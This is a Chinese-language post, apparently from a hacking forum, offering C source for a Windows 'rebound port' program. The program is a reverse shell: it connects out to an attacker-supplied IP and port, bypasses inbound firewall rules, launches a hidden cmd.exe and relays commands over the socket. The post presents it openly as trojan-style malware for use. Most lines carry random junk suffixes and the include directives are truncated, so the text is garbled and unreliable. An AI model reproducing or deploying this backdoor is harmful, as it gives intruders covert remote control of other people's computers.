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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -Q<3Q_  
4:y;<8+j\  
/* ============================== p4bQCI  
Rebound port in Windows NT WojZ[j>  
By wind,2006/7 o[!]xmj  
===============================*/ (zCas}YAKI  
#include #Kn=Q  
#include vZq7U]RW  
'9H7I! L@  
#pragma comment(lib,"wsock32.lib") i/NY86A  
l;b5v]~  
void OutputShell(); ;.'2ZNt2  
SOCKET sClient; F !tn|!~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,H'O`oV!1E  
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void main(int argc,char **argv) r8pTtf#Q  
{ 0jro0f'  
WSADATA stWsaData; ~^UQw? ;  
int nRet; gmJiKuAL5  
SOCKADDR_IN stSaiClient,stSaiServer; TGY^,H>J  
Azxy!gDT"  
if(argc != 3) ahU\(=  
{ K!lGo3n]  
printf("Useage:\n\rRebound DestIP DestPort\n"); EXK~Zf|&Z  
return; h?p&9[e`  
} <2HI. @^  
{()8 W r  
WSAStartup(MAKEWORD(2,2),&stWsaData); aF;Q SI  
r%}wPN(?D  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L!|c: 8  
2v0lWO~c7z  
stSaiClient.sin_family = AF_INET; fpwge/w  
stSaiClient.sin_port = htons(0); / ~'ZtxA  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); & ;ie+/B  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~ T|?!zML  
{ }Gqx2 )H  
printf("Bind Socket Failed!\n"); ff**)Xdh  
return; KA# 4iu{  
} Z,.*!S=?h  
rQC{"hS1  
stSaiServer.sin_family = AF_INET; FZ DC?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); qY]IX9'kV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Nc()$Nl8  
iEux`CcJ.  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oC#@9>+@+"  
{ d}GO(  
printf("Connect Error!"); .h-:) e*  
return; 4nzUDeI3MG  
} MR=>DcR  
OutputShell(); 0%7c?3#  
} 0.4c|-n  
d nWh}!  
void OutputShell() ^n"ve2   
{ N93 ZI|T  
char szBuff[1024]; y&")7y/uE  
SECURITY_ATTRIBUTES stSecurityAttributes; Z#IRNFj  
OSVERSIONINFO stOsversionInfo; 2u4aCfIx  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZC'(^liAp  
STARTUPINFO stStartupInfo; a*o#,T5A  
char *szShell; +]*4!4MK6  
PROCESS_INFORMATION stProcessInformation; /PN[g~3  
unsigned long lBytesRead; V)V\M6  
j y R 9a!  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); r5t C  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N>giFj[dD  
stSecurityAttributes.lpSecurityDescriptor = 0; cd)yj&:?Bt  
stSecurityAttributes.bInheritHandle = TRUE; ,.6Hh'^65^  
23 BzD^2a  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %?1k}(qUeY  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OV8Y)%t"  
B@D3aOvO  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C vfm ,BL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P#-Ye<V~J(  
stStartupInfo.wShowWindow = SW_HIDE; =t\HtAXn[  
stStartupInfo.hStdInput = hReadPipe; v>CA A"LH  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @JVax-N  
,{MA90!  
GetVersionEx(&stOsversionInfo); RZi]0l_A'  
!%>p;H%0  
switch(stOsversionInfo.dwPlatformId) vzA)pB~;  
{ 9ar+Ph@*  
case 1: }a6tG  
szShell = "command.com"; 9#L0Q%,*  
break; 7KXc9:p+  
default: eD5.*O  
szShell = "cmd.exe"; gBGUGjVj  
break; Cg^=&1 |  
} PMC5qQ%x  
C qOvVv  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8`l bKV  
9;KQ3.Fa}q  
send(sClient,szMsg,77,0); E-\Wo3  
while(1) _0p8FhNt  
{ ' ^L|}e  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /@-!JF#g  
if(lBytesRead) tJ`tXO  
{ 9bd$mp  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ".Z|zt6C  
send(sClient,szBuff,lBytesRead,0); },zP,y:cH  
} da<B6!  
else yXyL,R  
{ f*U3s N^y  
lBytesRead=recv(sClient,szBuff,1024,0); J3`a}LyDf  
if(lBytesRead<=0) break; Tl>D=Vnhh  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); DtLga[M  
} 5'=\$Ob  
} ?Co)7}N  
MHNuA,cz  
return; LCKCg[D  
}
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